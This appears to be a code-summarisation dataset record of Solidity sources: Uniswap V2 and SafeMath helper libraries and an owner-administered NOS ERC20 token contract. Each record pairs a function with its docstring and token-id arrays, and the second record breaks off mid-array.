function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// library containing some math for dealing with the liquidity shares of a pair, e.g. computing their exact value
// in terms of the underlying tokens
library UniswapV2LiquidityMathLibrary {
using SafeMath for uint256;
// computes the direction and magnitude of the profit-maximizing trade
function computeProfitMaximizingTrade(
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 reserveA,
uint256 reserveB
) pure internal returns (bool aToB, uint256 amountIn) {
aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA;
uint256 invariant = reserveA.mul(reserveB);
uint256 leftSide = Babylonian.sqrt(
FullMath.mulDiv(
invariant.mul(1000),
aToB ? truePriceTokenA : truePriceTokenB,
(aToB ? truePriceTokenB : truePriceTokenA).mul(997)
)
);
uint256 rightSide = (aToB ? reserveA.mul(1000) : reserveB.mul(1000)) / 997;
if (leftSide < rightSide) return (false, 0);
// compute the amount that must be sent to move the price to the profit-maximizing price
amountIn = leftSide.sub(rightSide);
}
// gets the reserves after an arbitrage moves the price to the profit-maximizing ratio given an externally observed true price
function getReservesAfterArbitrage(
address factory,
address tokenA,
address tokenB,
uint256 truePriceTokenA,
uint256 truePriceTokenB
) view internal returns (uint256 reserveA, uint256 reserveB) {
// first get reserves before the swap
(reserveA, reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
require(reserveA > 0 && reserveB > 0, 'UniswapV2ArbitrageLibrary: ZERO_PAIR_RESERVES');
// then compute how much to swap to arb to the true price
(bool aToB, uint256 amountIn) = computeProfitMaximizingTrade(truePriceTokenA, truePriceTokenB, reserveA, reserveB);
if (amountIn == 0) {
return (reserveA, reserveB);
}
// now affect the trade to the reserves
if (aToB) {
uint amountOut = UniswapV2Library.getAmountOut(amountIn, reserveA, reserveB);
reserveA += amountIn;
reserveB -= amountOut;
} else {
uint amountOut = UniswapV2Library.getAmountOut(amountIn, reserveB, reserveA);
reserveB += amountIn;
reserveA -= amountOut;
}
}
// computes liquidity value given all the parameters of the pair
function computeLiquidityValue(
uint256 reservesA,
uint256 reservesB,
uint256 totalSupply,
uint256 liquidityAmount,
bool feeOn,
uint kLast
) internal pure returns (uint256 tokenAAmount, uint256 tokenBAmount) {
if (feeOn && kLast > 0) {
uint rootK = Babylonian.sqrt(reservesA.mul(reservesB));
uint rootKLast = Babylonian.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator1 = totalSupply;
uint numerator2 = rootK.sub(rootKLast);
uint denominator = rootK.mul(5).add(rootKLast);
uint feeLiquidity = FullMath.mulDiv(numerator1, numerator2, denominator);
totalSupply = totalSupply.add(feeLiquidity);
}
}
return (reservesA.mul(liquidityAmount) / totalSupply, reservesB.mul(liquidityAmount) / totalSupply);
}
// get all current parameters from the pair and compute value of a liquidity amount
// **note this is subject to manipulation, e.g. sandwich attacks**. prefer passing a manipulation resistant price to
// #getLiquidityValueAfterArbitrageToPrice
function getLiquidityValue(
address factory,
address tokenA,
address tokenB,
uint256 liquidityAmount
) internal view returns (uint256 tokenAAmount, uint256 tokenBAmount) {
(uint256 reservesA, uint256 reservesB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
bool feeOn = IUniswapV2Factory(factory).feeTo() != address(0);
uint kLast = feeOn ? pair.kLast() : 0;
uint totalSupply = pair.totalSupply();
return computeLiquidityValue(reservesA, reservesB, totalSupply, liquidityAmount, feeOn, kLast);
}
// given two tokens, tokenA and tokenB, and their "true price", i.e. the observed ratio of value of token A to token B,
// and a liquidity amount, returns the value of the liquidity in terms of tokenA and tokenB
function getLiquidityValueAfterArbitrageToPrice(
address factory,
address tokenA,
address tokenB,
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 liquidityAmount
) internal view returns (
uint256 tokenAAmount,
uint256 tokenBAmount
) {
bool feeOn = IUniswapV2Factory(factory).feeTo() != address(0);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
uint kLast = feeOn ? pair.kLast() : 0;
uint totalSupply = pair.totalSupply();
// this also checks that totalSupply > 0
require(totalSupply >= liquidityAmount && liquidityAmount > 0, 'ComputeLiquidityValue: LIQUIDITY_AMOUNT');
(uint reservesA, uint reservesB) = getReservesAfterArbitrage(factory, tokenA, tokenB, truePriceTokenA, truePriceTokenB);
return computeLiquidityValue(reservesA, reservesB, totalSupply, liquidityAmount, feeOn, kLast);
}
}
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function decimals() external view returns (uint256);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
|
given two tokens, tokenA and tokenB, and their "true price", i.e. the observed ratio of value of token A to token B, and a liquidity amount, returns the value of the liquidity in terms of tokenA and tokenB this also checks that totalSupply > 0
|
function getLiquidityValueAfterArbitrageToPrice(
address factory,
address tokenA,
address tokenB,
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 liquidityAmount
) internal view returns (
uint256 tokenAAmount,
uint256 tokenBAmount
) {
bool feeOn = IUniswapV2Factory(factory).feeTo() != address(0);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
uint kLast = feeOn ? pair.kLast() : 0;
uint totalSupply = pair.totalSupply();
require(totalSupply >= liquidityAmount && liquidityAmount > 0, 'ComputeLiquidityValue: LIQUIDITY_AMOUNT');
(uint reservesA, uint reservesB) = getReservesAfterArbitrage(factory, tokenA, tokenB, truePriceTokenA, truePriceTokenB);
return computeLiquidityValue(reservesA, reservesB, totalSupply, liquidityAmount, feeOn, kLast);
}
| 1,785,451 |
[
1,
10822,
2795,
2430,
16,
1147,
37,
471,
1147,
38,
16,
471,
3675,
315,
3767,
6205,
3113,
277,
18,
73,
18,
326,
12117,
7169,
434,
460,
434,
1147,
432,
358,
1147,
605,
16,
471,
279,
4501,
372,
24237,
3844,
16,
1135,
326,
460,
434,
326,
4501,
372,
24237,
316,
6548,
434,
1147,
37,
471,
1147,
38,
333,
2546,
4271,
716,
2078,
3088,
1283,
405,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
9014,
18988,
24237,
620,
4436,
686,
3682,
86,
410,
774,
5147,
12,
203,
3639,
1758,
3272,
16,
203,
3639,
1758,
1147,
37,
16,
203,
3639,
1758,
1147,
38,
16,
203,
3639,
2254,
5034,
638,
5147,
1345,
37,
16,
203,
3639,
2254,
5034,
638,
5147,
1345,
38,
16,
203,
3639,
2254,
5034,
4501,
372,
24237,
6275,
203,
565,
262,
2713,
1476,
1135,
261,
203,
3639,
2254,
5034,
1147,
5284,
4778,
16,
203,
3639,
2254,
5034,
1147,
38,
6275,
203,
565,
262,
288,
203,
3639,
1426,
14036,
1398,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
12,
6848,
2934,
21386,
774,
1435,
480,
1758,
12,
20,
1769,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
4154,
3082,
273,
467,
984,
291,
91,
438,
58,
22,
4154,
12,
984,
291,
91,
438,
58,
22,
9313,
18,
6017,
1290,
12,
6848,
16,
1147,
37,
16,
1147,
38,
10019,
203,
3639,
2254,
417,
3024,
273,
14036,
1398,
692,
3082,
18,
79,
3024,
1435,
294,
374,
31,
203,
3639,
2254,
2078,
3088,
1283,
273,
3082,
18,
4963,
3088,
1283,
5621,
203,
203,
3639,
2583,
12,
4963,
3088,
1283,
1545,
4501,
372,
24237,
6275,
597,
4501,
372,
24237,
6275,
405,
374,
16,
296,
7018,
48,
18988,
24237,
620,
30,
8961,
53,
3060,
4107,
67,
2192,
51,
5321,
8284,
203,
203,
3639,
261,
11890,
400,
264,
3324,
37,
16,
2254,
400,
264,
3324,
38,
13,
273,
31792,
264,
3324,
4436,
686,
3682,
86,
410,
12,
6848,
16,
1147,
37,
16,
1147,
38,
16,
638,
5147,
1345,
37,
16,
2
] |
/**
*Submitted for verification at Etherscan.io on 2019-03-22
*/
pragma solidity 0.4.24;
contract owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract NOSToken is owned {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This creates an array with freeze balances
mapping (address => uint256) public freezeOf;
// Suspend trading
bool suspendTrading;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This notifies clients about the amount unfreeze
event UnFreezeFunds(address target, uint256 value);
// This notifies clients about the amount freeze
event FreezeFunds(address target, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
) public {
totalSupply = 73000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "Number One Scholar"; // Set the name for display purposes
symbol = "NOS"; // Set the symbol for display purposes
owner = 0x023C1Fd15F57640E682E882B5C4187Ff44085468;
}
/**
* set suspendTrading
*/
function setSuspendTrading(bool _state) public onlyOwner {
suspendTrading = _state;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(suspendTrading == false);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= freezeOf[_from]);
require(balanceOf[_from] - freezeOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* multiTransfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function multiTransfer(address[] memory _to, uint256[] memory _value) public returns (bool success) {
uint256 i = 0;
while (i < _to.length) {
transfer(_to[i], _value[i]);
i += 1;
}
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) {
require(balanceOf[_from] >= freezeOf[_from]);
require(balanceOf[_from] - freezeOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] -= _value; // Subtract from the targeted balance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/**
* Destroy tokens from other accounts
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function multiBurnFrom(address[] memory _from, uint256[] memory _value) public onlyOwner returns (bool success) {
uint256 i = 0;
while (i < _from.length) {
burnFrom(_from[i], _value[i]);
i += 1;
}
return true;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
/**
* mint tokens
*
* mint `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to mint
*/
function multiMintToken(address[] memory _from, uint256[] memory _value) public onlyOwner returns (bool success) {
uint256 i = 0;
while (i < _from.length) {
mintToken(_from[i], _value[i]);
i += 1;
}
return true;
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param _value value of target Address to be frozen
function freezeToken(address target, uint256 _value) onlyOwner public {
require(balanceOf[target] -freezeOf[target]>= _value);
freezeOf[target] += _value;
emit FreezeFunds(target, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param _value value of target Address to be frozen
function unfreezeToken(address target, uint256 _value) onlyOwner public {
require(freezeOf[target] >= _value);
freezeOf[target] -= _value;
emit UnFreezeFunds(target, _value);
}
}
|
* Destroy tokens from other account Remove `_value` tokens from the system irreversibly on behalf of `_from`. @param _from the address of the sender @param _value the amount of money to burn/
|
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) {
require(balanceOf[_from] >= freezeOf[_from]);
emit Burn(_from, _value);
return true;
}
| 1,666,157 |
[
1,
10740,
2430,
628,
1308,
2236,
3581,
1375,
67,
1132,
68,
2430,
628,
326,
2619,
9482,
266,
2496,
24755,
603,
12433,
6186,
434,
1375,
67,
2080,
8338,
225,
389,
2080,
326,
1758,
434,
326,
5793,
225,
389,
1132,
326,
3844,
434,
15601,
358,
18305,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
